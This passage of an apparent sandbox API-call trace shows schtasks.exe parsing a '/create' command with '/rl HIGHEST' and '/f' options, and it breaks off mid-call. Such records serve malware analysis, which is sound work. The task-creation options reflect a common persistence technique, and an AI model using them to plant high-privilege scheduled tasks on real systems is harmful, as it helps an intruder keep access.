[0149.462] lstrlenW (lpString="|rl|") returned 4 [0149.462] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0149.462] SetLastError (dwErrCode=0x490) [0149.462] lstrlenW (lpString="query") returned 5 [0149.462] lstrlenW (lpString="query") returned 5 [0149.462] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.462] lstrlenW (lpString="rl") returned 2 [0149.462] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.462] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|query|") returned 7 [0149.462] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.463] lstrlenW (lpString="|query|") returned 7 [0149.463] lstrlenW (lpString="|rl|") returned 4 [0149.463] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0149.463] SetLastError (dwErrCode=0x490) [0149.463] lstrlenW (lpString="change") returned 6 [0149.463] lstrlenW (lpString="change") returned 6 [0149.463] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.463] lstrlenW (lpString="rl") returned 2 [0149.463] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.463] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|change|") returned 8 [0149.463] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.463] lstrlenW (lpString="|change|") returned 8 [0149.463] lstrlenW (lpString="|rl|") returned 4 [0149.463] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0149.463] SetLastError (dwErrCode=0x490) [0149.463] lstrlenW (lpString="run") returned 3 [0149.463] lstrlenW (lpString="run") returned 3 [0149.463] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.463] lstrlenW (lpString="rl") returned 2 [0149.463] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.463] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|run|") returned 5 [0149.463] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.463] lstrlenW (lpString="|run|") returned 5 [0149.463] lstrlenW (lpString="|rl|") returned 4 [0149.463] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0149.463] SetLastError (dwErrCode=0x490) [0149.464] lstrlenW (lpString="end") returned 3 [0149.464] lstrlenW (lpString="end") returned 3 [0149.464] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.464] lstrlenW (lpString="rl") returned 2 [0149.464] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.464] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|end|") returned 5 [0149.464] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.464] lstrlenW (lpString="|end|") returned 5 [0149.464] lstrlenW (lpString="|rl|") returned 4 [0149.464] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0149.464] SetLastError (dwErrCode=0x490) [0149.464] lstrlenW (lpString="showsid") returned 7 [0149.464] lstrlenW (lpString="showsid") returned 7 [0149.464] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.464] lstrlenW (lpString="rl") returned 2 [0149.464] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.464] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|showsid|") returned 9 [0149.464] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|rl|") returned 4 [0149.464] lstrlenW (lpString="|showsid|") returned 9 [0149.464] lstrlenW (lpString="|rl|") returned 4 [0149.464] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0149.464] SetLastError (dwErrCode=0x490) [0149.464] SetLastError (dwErrCode=0x490) [0149.464] SetLastError (dwErrCode=0x0) [0149.464] lstrlenW (lpString="/rl") returned 3 [0149.464] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0149.464] SetLastError (dwErrCode=0x490) [0149.465] SetLastError (dwErrCode=0x0) [0149.465] lstrlenW (lpString="/rl") returned 3 [0149.465] GetProcessHeap () returned 0x2f0000 [0149.465] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30ddf0 [0149.465] GetProcessHeap () returned 0x2f0000 [0149.465] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd30 [0149.465] SetLastError (dwErrCode=0x0) [0149.465] SetLastError (dwErrCode=0x0) [0149.465] lstrlenW (lpString="HIGHEST") returned 7 [0149.465] lstrlenW (lpString="-/") returned 2 [0149.465] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0149.465] SetLastError (dwErrCode=0x490) [0149.465] SetLastError (dwErrCode=0x490) [0149.465] SetLastError (dwErrCode=0x0) [0149.465] lstrlenW (lpString="HIGHEST") returned 7 [0149.465] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0149.465] SetLastError (dwErrCode=0x490) [0149.465] SetLastError (dwErrCode=0x0) [0149.465] lstrlenW (lpString="HIGHEST") returned 7 [0149.465] GetProcessHeap () returned 0x2f0000 [0149.465] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d520 [0149.465] GetProcessHeap () returned 0x2f0000 [0149.465] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd60 [0149.465] SetLastError (dwErrCode=0x0) [0149.465] SetLastError (dwErrCode=0x0) [0149.465] lstrlenW (lpString="/f") returned 2 [0149.465] lstrlenW (lpString="-/") returned 2 [0149.465] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.465] lstrlenW (lpString="?") returned 1 [0149.465] lstrlenW (lpString="?") returned 1 [0149.466] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.466] lstrlenW (lpString="f") returned 1 [0149.466] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.466] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|?|") returned 3 [0149.466] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.466] lstrlenW (lpString="|?|") returned 3 [0149.466] lstrlenW (lpString="|f|") returned 3 [0149.466] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0149.466] SetLastError (dwErrCode=0x490) [0149.466] lstrlenW (lpString="create") returned 6 [0149.466] lstrlenW (lpString="create") returned 6 [0149.466] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.466] lstrlenW (lpString="f") returned 1 [0149.466] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.466] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|create|") returned 8 [0149.466] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.466] lstrlenW (lpString="|create|") returned 8 [0149.466] lstrlenW (lpString="|f|") returned 3 [0149.466] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0149.466] SetLastError (dwErrCode=0x490) [0149.466] lstrlenW (lpString="delete") returned 6 [0149.466] lstrlenW (lpString="delete") returned 6 [0149.466] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.467] lstrlenW (lpString="f") returned 1 [0149.467] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.467] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|delete|") returned 8 [0149.467] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.467] lstrlenW (lpString="|delete|") returned 8 [0149.467] lstrlenW (lpString="|f|") returned 3 [0149.467] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0149.467] SetLastError (dwErrCode=0x490) [0149.467] lstrlenW (lpString="query") returned 5 [0149.467] lstrlenW (lpString="query") returned 5 [0149.467] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.467] lstrlenW (lpString="f") returned 1 [0149.467] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.467] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|query|") returned 7 [0149.467] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.467] lstrlenW (lpString="|query|") returned 7 [0149.467] lstrlenW (lpString="|f|") returned 3 [0149.467] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0149.467] SetLastError (dwErrCode=0x490) [0149.467] lstrlenW (lpString="change") returned 6 [0149.467] lstrlenW (lpString="change") returned 6 [0149.467] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.467] lstrlenW (lpString="f") returned 1 [0149.467] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.467] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|change|") returned 8 [0149.467] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.468] lstrlenW (lpString="|change|") returned 8 [0149.468] lstrlenW (lpString="|f|") returned 3 [0149.468] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0149.468] SetLastError (dwErrCode=0x490) [0149.468] lstrlenW (lpString="run") returned 3 [0149.468] lstrlenW (lpString="run") returned 3 [0149.468] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.468] lstrlenW (lpString="f") returned 1 [0149.468] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.468] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|run|") returned 5 [0149.468] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.468] lstrlenW (lpString="|run|") returned 5 [0149.468] lstrlenW (lpString="|f|") returned 3 [0149.468] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0149.468] SetLastError (dwErrCode=0x490) [0149.468] lstrlenW (lpString="end") returned 3 [0149.468] lstrlenW (lpString="end") returned 3 [0149.468] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.468] lstrlenW (lpString="f") returned 1 [0149.468] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.468] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|end|") returned 5 [0149.468] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.468] lstrlenW (lpString="|end|") returned 5 [0149.468] lstrlenW (lpString="|f|") returned 3 [0149.468] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0149.468] SetLastError (dwErrCode=0x490) [0149.469] lstrlenW (lpString="showsid") returned 7 [0149.469] lstrlenW (lpString="showsid") returned 7 [0149.469] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.469] lstrlenW (lpString="f") returned 1 [0149.469] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.469] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|showsid|") returned 9 [0149.469] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f798 | out: _Buffer="|f|") returned 3 [0149.469] lstrlenW (lpString="|showsid|") returned 9 [0149.469] lstrlenW (lpString="|f|") returned 3 [0149.469] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0149.469] SetLastError (dwErrCode=0x490) [0149.469] SetLastError (dwErrCode=0x490) [0149.469] SetLastError (dwErrCode=0x0) [0149.469] lstrlenW (lpString="/f") returned 2 [0149.469] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0149.469] SetLastError (dwErrCode=0x490) [0149.469] SetLastError (dwErrCode=0x0) [0149.469] lstrlenW (lpString="/f") returned 2 [0149.469] GetProcessHeap () returned 0x2f0000 [0149.469] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x6) returned 0x30de10 [0149.469] GetProcessHeap () returned 0x2f0000 [0149.469] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd90 [0149.469] SetLastError (dwErrCode=0x0) [0149.469] GetProcessHeap () returned 0x2f0000 [0149.469] GetProcessHeap () returned 0x2f0000 [0149.469] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c200) returned 1 [0149.469] GetProcessHeap () returned 0x2f0000 [0149.469] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c200) returned 0x8 [0149.469] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c200 | out: hHeap=0x2f0000) returned 1 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.470] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc10) returned 1 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.470] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc10) returned 0x20 [0149.470] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc10 | out: hHeap=0x2f0000) returned 1 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.470] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c290) returned 1 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.470] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c290) returned 0x12 [0149.470] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c290 | out: hHeap=0x2f0000) returned 1 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.470] GetProcessHeap () returned 0x2f0000 [0149.471] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc40) returned 1 [0149.471] GetProcessHeap () returned 0x2f0000 [0149.471] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc40) returned 0x20 [0149.471] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc40 | out: hHeap=0x2f0000) returned 1 [0149.471] GetProcessHeap () returned 0x2f0000 [0149.471] GetProcessHeap () returned 0x2f0000 [0149.471] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2b0) returned 1 [0149.471] GetProcessHeap () returned 0x2f0000 [0149.471] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c2b0) returned 0x8 [0149.471] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2b0 | out: hHeap=0x2f0000) returned 1 [0149.471] GetProcessHeap () returned 0x2f0000 [0149.471] GetProcessHeap () returned 0x2f0000 [0149.471] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc70) returned 1 [0149.471] GetProcessHeap () returned 0x2f0000 [0149.471] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc70) returned 0x20 [0149.472] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc70 | out: hHeap=0x2f0000) returned 1 [0149.472] GetProcessHeap () returned 0x2f0000 [0149.472] GetProcessHeap () returned 0x2f0000 [0149.472] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2d0) returned 1 [0149.472] GetProcessHeap () returned 0x2f0000 [0149.472] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c2d0) returned 0x10 [0149.472] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2d0 | out: hHeap=0x2f0000) returned 1 [0149.472] GetProcessHeap () returned 0x2f0000 [0149.472] GetProcessHeap () returned 0x2f0000 [0149.472] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cca0) returned 1 [0149.472] GetProcessHeap () returned 0x2f0000 [0149.472] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cca0) returned 0x20 [0149.472] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cca0 | out: hHeap=0x2f0000) returned 1 [0149.472] GetProcessHeap () returned 0x2f0000 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2f0) returned 1 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c2f0) returned 0x8 [0149.473] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2f0 | out: hHeap=0x2f0000) returned 1 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccd0) returned 1 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccd0) returned 0x20 [0149.473] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccd0 | out: hHeap=0x2f0000) returned 1 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd60) returned 1 [0149.473] GetProcessHeap () returned 0x2f0000 [0149.473] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dd60) returned 0x80 [0149.474] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd60 | out: hHeap=0x2f0000) returned 1 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd00) returned 1 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd00) returned 0x20 [0149.474] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd00 | out: hHeap=0x2f0000) returned 1 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ddf0) returned 1 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ddf0) returned 0x8 [0149.474] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ddf0 | out: hHeap=0x2f0000) returned 1 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd30) returned 1 [0149.474] GetProcessHeap () returned 0x2f0000 [0149.474] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd30) returned 0x20 [0149.475] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd30 | out: hHeap=0x2f0000) returned 1 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d520) returned 1 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d520) returned 0x10 [0149.475] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d520 | out: hHeap=0x2f0000) returned 1 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd60) returned 1 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd60) returned 0x20 [0149.475] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd60 | out: hHeap=0x2f0000) returned 1 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] GetProcessHeap () returned 0x2f0000 [0149.475] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30de10) returned 1 [0149.476] GetProcessHeap () returned 0x2f0000 [0149.476] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30de10) returned 0x6 [0149.476] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30de10 | out: hHeap=0x2f0000) returned 1 [0149.476] GetProcessHeap () returned 0x2f0000 [0149.476] GetProcessHeap () returned 0x2f0000 [0149.476] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd90) returned 1 [0149.476] GetProcessHeap () returned 0x2f0000 [0149.476] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd90) returned 0x20 [0149.476] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd90 | out: hHeap=0x2f0000) returned 1 [0149.476] GetProcessHeap () returned 0x2f0000 [0149.476] GetProcessHeap () returned 0x2f0000 [0149.476] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9d0) returned 1 [0149.476] GetProcessHeap () returned 0x2f0000 [0149.476] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30b9d0) returned 0x18 [0149.476] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b9d0 | out: hHeap=0x2f0000) returned 1 [0149.477] SetLastError (dwErrCode=0x0) [0149.477] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0149.477] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0149.477] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0149.477] VerifyVersionInfoW (in: lpVersionInformation=0x17c7f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x17c7f0) returned 1 [0149.477] SetLastError (dwErrCode=0x0) [0149.477] lstrlenW (lpString="create") returned 6 [0149.477] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0149.477] SetLastError (dwErrCode=0x490) [0149.477] SetLastError (dwErrCode=0x0) [0149.477] lstrlenW (lpString="create") returned 6 [0149.477] GetProcessHeap () returned 0x2f0000 [0149.477] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd90 [0149.477] GetProcessHeap () returned 0x2f0000 [0149.478] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d520 [0149.478] _memicmp (_Buf1=0x30d520, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.478] GetProcessHeap () returned 0x2f0000 [0149.478] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d540 [0149.478] SetLastError (dwErrCode=0x0) [0149.478] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.478] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30bc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0149.478] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0149.478] GetProcessHeap () returned 0x2f0000 [0149.478] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x74e) returned 0x30dd60 [0149.479] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x30dd60 | out: lpData=0x30dd60) returned 1 [0149.479] VerQueryValueW (in: pBlock=0x30dd60, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x17c8d8, puLen=0x17c940 | out: lplpBuffer=0x17c8d8*=0x30e0fc, puLen=0x17c940) returned 1 [0149.479] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.479] _vsnwprintf (in: _Buffer=0x30bc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x17c8b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0149.479] VerQueryValueW (in: pBlock=0x30dd60, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x17c948, puLen=0x17c938 | out: lplpBuffer=0x17c948*=0x30df28, puLen=0x17c938) returned 1 [0149.479] lstrlenW (lpString="schtasks.exe") returned 12 [0149.479] lstrlenW (lpString="schtasks.exe") returned 12 [0149.479] lstrlenW (lpString=".EXE") returned 4 [0149.479] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0149.479] lstrlenW (lpString="schtasks.exe") returned 12 [0149.479] lstrlenW (lpString=".EXE") returned 4 [0149.479] lstrlenW (lpString="schtasks") returned 8 [0149.479] lstrlenW (lpString="/create") returned 7 [0149.479] _memicmp (_Buf1=0x30ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.479] _vsnwprintf (in: _Buffer=0x30bc30, _BufferCount=0x19, _Format="%s %s", _ArgList=0x17c8b8 | out: _Buffer="schtasks /create") returned 16 [0149.479] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.479] GetProcessHeap () returned 0x2f0000 [0149.479] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd60 [0149.479] _memicmp (_Buf1=0x30bad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.480] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x30d2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0149.480] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0149.480] GetProcessHeap () returned 0x2f0000 [0149.480] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x30) returned 0x307ac0 [0149.480] _vsnwprintf (in: _Buffer=0x30c030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17c8b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0149.480] GetProcessHeap () returned 0x2f0000 [0149.480] GetProcessHeap () returned 0x2f0000 [0149.480] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd60) returned 1 [0149.480] GetProcessHeap () returned 0x2f0000 [0149.480] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dd60) returned 0x74e [0149.480] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dd60 | out: hHeap=0x2f0000) returned 1 [0149.480] SetLastError (dwErrCode=0x0) [0149.480] GetThreadLocale () returned 0x409 [0149.480] CompareStringA (Locale=0x409, 